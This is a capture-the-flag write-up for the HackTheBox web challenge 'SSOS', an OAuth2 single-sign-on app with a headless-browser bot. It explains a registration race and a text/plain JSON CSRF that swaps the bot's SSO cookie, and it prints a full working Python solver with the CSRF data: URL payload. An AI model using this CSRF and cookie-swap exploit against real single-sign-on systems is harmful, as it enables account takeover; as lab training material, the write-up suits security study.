SSOS
SSOS
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-29 | Status: Solved Techniques: bot_url_visit_abuse, cookie_swap_csrf, oauth_session_takeover, startup_registration_race, text_plain_json_csrf
Summary
Task: HTB-style OAuth2 SSO web app (nginx + Express/passport client + Go/Gin provider) with a teacher Puppeteer bot that submits the flag at startup. Solution: win a registration race for the fixed student account, then use a text/plain JSON CSRF (Gin ShouldBindJSON ignores Content-Type) delivered via the bot's /submit-url to swap the shared cookie jar's SSO token to our session, so the bot submits the flag into our own account.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260529_hackthebox_ssos - Tags: race_condition, express, csrf, logic_bug, oauth2, sso, puppeteer_bot, gin, passport, samesite, cookie_jar
- Indicators: OAuth SSO with teacher/admin Puppeteer bot visiting user-submitted URLs, Gin ShouldBindJSON ignores Content-Type (text/plain JSON CSRF), session cookie with no SameSite attribute (treated as Lax), shared Puppeteer browser cookie jar across initialSetup pages, loginSSO function ignores credential params and reuses current token cookie
- Source:
20260529_hackthebox_ssos.md
Foothold
Vulnerability / Misconfiguration
- Bot_url_visit_abuse
- Cookie_swap_csrf
- Oauth_session_takeover
- Startup_registration_race
- Text_plain_json_csrf
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- bot_url_visit_abuse
- cookie_swap_csrf
- oauth_session_takeover
- startup_registration_race
- text_plain_json_csrf
- Tags: race_condition, express, csrf, logic_bug, oauth2, sso, puppeteer_bot, gin, passport, samesite, cookie_jar
Original Writeup
<details><summary>Click to expand original content</summary>SSOS — Hack The Box
Description
Homework? Never heard of her. let us dance.
A single-domain education platform protected by an OAuth2 SSO provider:
nginx(internal port1337, mapped to a random external port per instance) routes byHostheader.edulearn.htb→ Express client app (Node.js, EJS,passport-oauth2) on127.0.0.1:3000.sso.edulearn.htb→ Go/Gin OAuth2 SSO provider on127.0.0.1:3002.- Default server
302-redirects unknown hosts toedulearn.htb(preserving port). - A Puppeteer "teacher bot" (
puppeteer-core, HeadlessChrome 130) runs inside the container, resolves both hosts to127.0.0.1, and has no useful external egress. - All secrets (
JWT_SECRET,CLIENT_SECRET,SESSION_SECRET, teacher/student passwords) are generated per-container withopenssl rand— not guessable or forgeable.
Goal: read the real flag, which the bot submits into a student assignment once at container startup.
Analysis
Bot behavior (bot/index.js initialSetup(), runs ONCE at startup)
The bot drives a single Puppeteer browser whose pages all share one cookie jar. At startup it executes, in order:
loginUser(teacher, teacherPw)— SSO login form (sets SSOtokencookie = teacher).loginSSO(teacher)— OAuth authorize, sets the client session = teacher.createAssignment×3 — as teacher.registerUser(student@edulearn.htb, STUDENT_PASSWORD)— random password.loginUser(student, STUDENT_PASSWORD)— SSO login form.loginSSO(student, STUDENT_PASSWORD)— CRITICAL BUG: this function ignores its email/password parameters and authorizes using whatevertokencookie is currently in the shared browser jar.submitFlagToAssignment()— typesprocess.env.FLAGinto the first assignment's submission textarea, submitting as the current client-session user.loginUser(teacher)+loginSSO(teacher)— restore teacher.
Additionally the bot exposes POST /visit-url {url}. The client's POST /submit-url forwards a user-supplied URL to the bot, which does page.goto(url) and waits 10s. This is the only attacker-triggered bot action, and during it the bot is logged into the client as teacher and uses the same shared cookie jar.
Client app (Express) key facts
- Submissions are stored in memory;
author = req.user.email(from OAuth userinfo). GET /submission/:idis allowed only ifsubmission.author.email === req.user.emailORreq.user.role === "teacher".- Content is rendered raw via EJS
<%- %>but sanitized withsanitize-html2.17.4 (allowedTags: img,h3,p,strong,em,ul,li,br,code,pre;img:[src,alt]). Robust — no XSS (verified live:<svg/onload>,<script>,onerror,<img/src=x/onerror>all neutralized). No CSP, noX-Frame-Options. connect.sidcookie:Path=/; HttpOnlywith noSameSite→ Chrome treats it as Lax (cross-site top-level GET sends it; cross-site POST/fetch/iframe do not).- The server-side OAuth token exchange is done by passport using
CLIENT_SECRET;/oauth/callbackexchanges whatever?codeis present and sets the session to that code's owner.
SSO provider (Go/Gin) key facts
/api/register,/api/loginusec.ShouldBindJSON(&input), which parses the request BODY as JSON ignoring Content-Type. Login sets cookietoken(JWT HS256),Path=/,HttpOnly, noSameSite./oauth/authorize,/oauth/tokenare behind a JWT-tokenauth middleware./oauth/userinfoneeds only a Bearer access token (returns name/email/role from the DB user).validateRedirectURI(provided, registered, requestHost)requires: scheme match,providedURL.PathHasPrefixregisteredURL.Path(/oauth/callback),provided port == request Host port, andprovidedURL.Hostname() == "edulearn.htb". Verified live: path-traversal redirect_uris (/oauth/callback/../submission/1, backslash variants,/oauth/callbackZZZ) all PASS (302 with?code=appended unencoded), but any non-edulearn.htbhost → 400. So there is no host bypass./oauth/tokenhas a GORM placeholder bug (4 placeholders, 5 args; theredirect_uriarg is silently ignored), soredirect_uriis not validated at token exchange — but exchange still requiresclient_secret(random), so attackers cannot exchange codes themselves.- Registration role is hardcoded
"student". No password-change/account-update endpoint.
Dead paths (do NOT waste time on these)
- OAuth authorization-code theft (DevRelay/GateKeeper style): the code always lands on
edulearn.htbin the bot's browser (host bypass = 400), there is no same-origin store to read it, no XSS to read it, and exchange needsclient_secret. Dead. - XSS for same-origin exfil:
sanitize-html2.17.4 is robust; all raw sinks are fed sanitized/escaped/hardcoded data. Dead. - JWT forge / token mint / password guess: all secrets are
openssl-random. Dead. - Reading the flag on an already-running instance: we are neither the author (student has a random pw) nor a teacher; the bot can't be made to exfil flag content (GET-only, no write-back). Dead.
- Naive startup registration race ALONE: if we pre-register student with our pw, the bot's
loginUser(student)fails so its cookie stays teacher and the flag is submitted as teacher (unreadable). The race must be combined with the cookie swap. Dead on its own.
Root causes that the working exploit chains
loginSSO()parameter confusion — ignores its credential args and authorizes using the current sharedtokencookie. If we can plant ourtokencookie in the bot's jar, the bot OAuths as us.- Gin
ShouldBindJSONContent-Type confusion — lets us mount a cross-sitetext/plainform login (no CORS preflight, no JSON Content-Type needed) into the bot. - Missing
SameSiteon the SSOtokencookie — the cross-site login response'sSet-Cookieis accepted by the bot's browser. - Startup registration race — by owning
student@edulearn.htbwe make the bot's ownloginUser(student)fail, so it cannot override our planted cookie before step 6.
Solution
The flag is submitted into whichever account is the client session at bot step 7. We make that account ours by swapping the shared SSO token cookie just before step 6.
Step-by-step (must hit a FRESH instance within ~15s of spawn)
- Win the registration race. The instant the SSO is reachable, hammer
POST /api/registerforstudent@edulearn.htbwith our password (KnownPass123!). The bot reaches its ownregisterUser(student)~15–20s after the SSO is up; if we register first, the bot's register +loginUser(student)both fail and its cookie stays teacher (we fix that with the swap). - Establish a client session + OAuth approval for
student@edulearn.htbso the bot's laterloginSSOauto-redirects, and use that session to drive/submit-url. - Wait for the 3 teacher assignments to appear (teacher phase done) so the cookie swap doesn't disrupt assignment creation.
- Spray
POST /submit-urlwith adata:text/htmlURL whose form performs atext/plainCSRF login tohttp://sso.edulearn.htb:1337/api/loginasstudent@edulearn.htb. The botpage.goto()s thedata:URL, auto-submits the form, and the response overwrites the shared SSOtokencookie with our student session.
text/plainJSON CSRF trick: since Gin parses the raw body as JSON regardless of Content-Type, use one form input whose name is the JSON prefix and whose value is"}, so thename=valuetext/plain serialization is valid JSON:
{"email":"student@edulearn.htb","password":"KnownPass123!","x":"="}
```
- Because we **own** `student@edulearn.htb`, the bot's own `loginUser(student)` (random pw) fails and cannot override our cookie — the swap is robust through step 6.
5. The bot's `loginSSO(student)` (ignoring params) authorizes using **our** student cookie → client session = our student.
6. `submitFlagToAssignment()` writes the FLAG into **our** `student@edulearn.htb` account.
7. Log in as `student@edulearn.htb / KnownPass123!` and read `GET /submission/<id>` (we are the author). Flag landed at submission `1780086506437` on assignment `1780086364360` (author `"S"`).
### The exact `data:` URL / CSRF payload
```python
import urllib.parse
INTERNAL_PORT = "1337" # bot resolves hosts to 127.0.0.1, internal nginx port
def csrf_data_url(email, pw):
# input NAME is the JSON prefix; input VALUE is '"}' so the
# text/plain "name=value" body becomes valid JSON for Gin's ShouldBindJSON
name = '{"email":"%s","password":"%s","x":"' % (email, pw)
html = (
'<form id=f method=POST enctype="text/plain" '
f'action="http://sso.edulearn.htb:{INTERNAL_PORT}/api/login">'
"<input name='" + name + "' value='\"}'>"
'</form><script>document.getElementById("f").submit()</script>'
)
return "data:text/html," + urllib.parse.quote(html, safe="")
Pitfall (fixed vs an earlier broken script): the CSRF must use
enctype="text/plain"with the JSON-name trick, not url-encoded form data, because Gin'sShouldBindJSONrequires a raw JSON body.
Full working solver
#!/usr/bin/env python3
"""SSOS startup cookie-swap exploit. Run within ~15s of a FRESH instance spawn.
Usage: python3 race_v2.py <ip> <external_port>"""
import sys, re, time, threading, urllib.parse, requests
from concurrent.futures import ThreadPoolExecutor
CID = "1a2abb8b-9bb5-4463-8f74-d7b129bb7040"
STU_EMAIL = "student@edulearn.htb"
PW = "KnownPass123!"
FB_EMAIL = "pwn_fallback@edulearn.htb" # fallback if we lose the registration race
FLAG_RE = re.compile(r"HTB\{[^}\s]+\}")
INTERNAL_PORT = "1337"
IP, PORT = sys.argv[1], sys.argv[2]
BASE = f"http://{IP}:{PORT}"
def log(m): print(f"[+] {m}", flush=True)
def warn(m): print(f"[!] {m}", flush=True)
def mkreq(session):
def req(host, path, method="GET", **kw):
h = kw.pop("headers", {}); h.setdefault("Host", f"{host}:{PORT}")
return session.request(method, BASE + path, headers=h,
allow_redirects=False, timeout=20, **kw)
return req
def csrf_data_url(email, pw):
name = '{"email":"%s","password":"%s","x":"' % (email, pw)
html = (
'<form id=f method=POST enctype="text/plain" '
f'action="http://sso.edulearn.htb:{INTERNAL_PORT}/api/login">'
"<input name='" + name + "' value='\"}'>"
'</form><script>document.getElementById("f").submit()</script>'
)
return "data:text/html," + urllib.parse.quote(html, safe="")
def register(email, pw, name):
s = requests.Session(); req = mkreq(s)
try:
return req("sso.edulearn.htb", "/api/register", method="POST",
headers={"Content-Type": "application/json"},
json={"email": email, "password": pw, "name": name})
except requests.RequestException:
return None
def establish_client_session(email, pw):
"""Hold a client connect.sid and create the OAuth approval so the bot's
later loginSSO auto-redirects."""
s = requests.Session(); req = mkreq(s)
r = req("sso.edulearn.htb", "/api/login", method="POST",
headers={"Content-Type": "application/json"},
json={"email": email, "password": pw})
if not r.ok:
return None
r = req("edulearn.htb", "/auth")
p = urllib.parse.urlparse(r.headers.get("Location", ""))
r = req("sso.edulearn.htb", p.path + ("?" + p.query if p.query else ""))
if r.status_code in (302, 303):
cb = r.headers.get("Location", "")
else:
r = req("sso.edulearn.htb", "/oauth/authorize", method="POST",
data={"client_id": CID, "scope": "email name",
"redirect_uri": f"http://edulearn.htb:{PORT}/oauth/callback",
"state": "", "approved": "true"})
cb = r.headers.get("Location", "")
c = urllib.parse.urlparse(cb)
req("edulearn.htb", c.path + ("?" + c.query if c.query else ""))
return s
def count_assignments(sess):
req = mkreq(sess)
try:
r = req("edulearn.htb", "/")
return sorted(set(re.findall(r"/assignment/(\d+)", r.text)))
except requests.RequestException:
return []
def find_flag(email, pw):
s = establish_client_session(email, pw)
if not s: return None
req = mkreq(s)
r = req("edulearn.htb", "/")
pages = set(re.findall(r"/submission/(\d+)", r.text))
for aid in re.findall(r"/assignment/(\d+)", r.text):
ra = req("edulearn.htb", f"/assignment/{aid}")
pages |= set(re.findall(r"/submission/(\d+)", ra.text))
m = FLAG_RE.search(ra.text)
if m: return m.group(0)
for sid in pages:
rs = req("edulearn.htb", f"/submission/{sid}")
m = FLAG_RE.search(rs.text)
if m: return m.group(0)
return None
STOP = threading.Event()
def spray_worker(spray_sess, data_url):
req = mkreq(spray_sess)
body = urllib.parse.urlencode({"url": data_url})
while not STOP.is_set():
try:
req("edulearn.htb", "/submit-url", method="POST",
headers={"Content-Type": "application/x-www-form-urlencoded"}, data=body)
except requests.RequestException:
pass
def main():
log(f"target {IP}:{PORT}")
# Phase 0: win the student@edulearn.htb registration race.
log("Phase 0: hammering student registration (concurrent)...")
won = threading.Event(); lost = threading.Event()
def reg_hammer():
end = time.time() + 45
while time.time() < end and not won.is_set() and not lost.is_set():
r = register(STU_EMAIL, PW, "S")
if r is None: time.sleep(0.03); continue
if r.status_code == 200: won.set(); return
if r.status_code == 500 or "Failed to create user" in r.text or "exist" in r.text.lower():
lost.set(); return
time.sleep(0.03)
hammers = [threading.Thread(target=reg_hammer, daemon=True) for _ in range(12)]
for h in hammers: h.start()
while not won.is_set() and not lost.is_set() and any(h.is_alive() for h in hammers):
time.sleep(0.05)
won = won.is_set()
log("WON registration race" if won else "LOST registration race")
target_email, target_pw = (STU_EMAIL, PW)
if not won:
register(FB_EMAIL, PW, "FB"); target_email = FB_EMAIL
warn(f"Falling back to swap-to-self target={target_email}")
# Phase 1: client session + approval (also used to spray /submit-url).
log(f"Phase 1: establishing client session + approval for {target_email}")
spray_sess = None
for _ in range(40):
spray_sess = establish_client_session(target_email, PW)
if spray_sess: break
time.sleep(0.25)
data_url = csrf_data_url(target_email, PW)
# Phase 2: wait for the teacher phase (3 assignments visible).
log("Phase 2: waiting for 3 assignments...")
t2 = time.time() + 90
while time.time() < t2:
aids = count_assignments(spray_sess) if spray_sess else []
if len(aids) >= 3:
log(f"assignments present: {aids}"); break
time.sleep(0.5)
# Phase 3: spray the CSRF cookie-swap into the bot's browser.
log("Phase 3: spraying CSRF cookie-swap via /submit-url ...")
pool = ThreadPoolExecutor(max_workers=8)
for _ in range(6):
ss = establish_client_session(target_email, PW) or spray_sess
if ss: pool.submit(spray_worker, ss, data_url)
# Phase 4: poll the target account for the flag.
log("Phase 4: polling target account for the flag...")
t4 = time.time() + 120; flag = None
while time.time() < t4:
try: flag = find_flag(target_email, PW)
except Exception: flag = None
if flag: break
time.sleep(1.5)
STOP.set()
log(f"FLAG: {flag}") if flag else warn("no flag (missed window or lost race)")
if __name__ == "__main__":
main()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR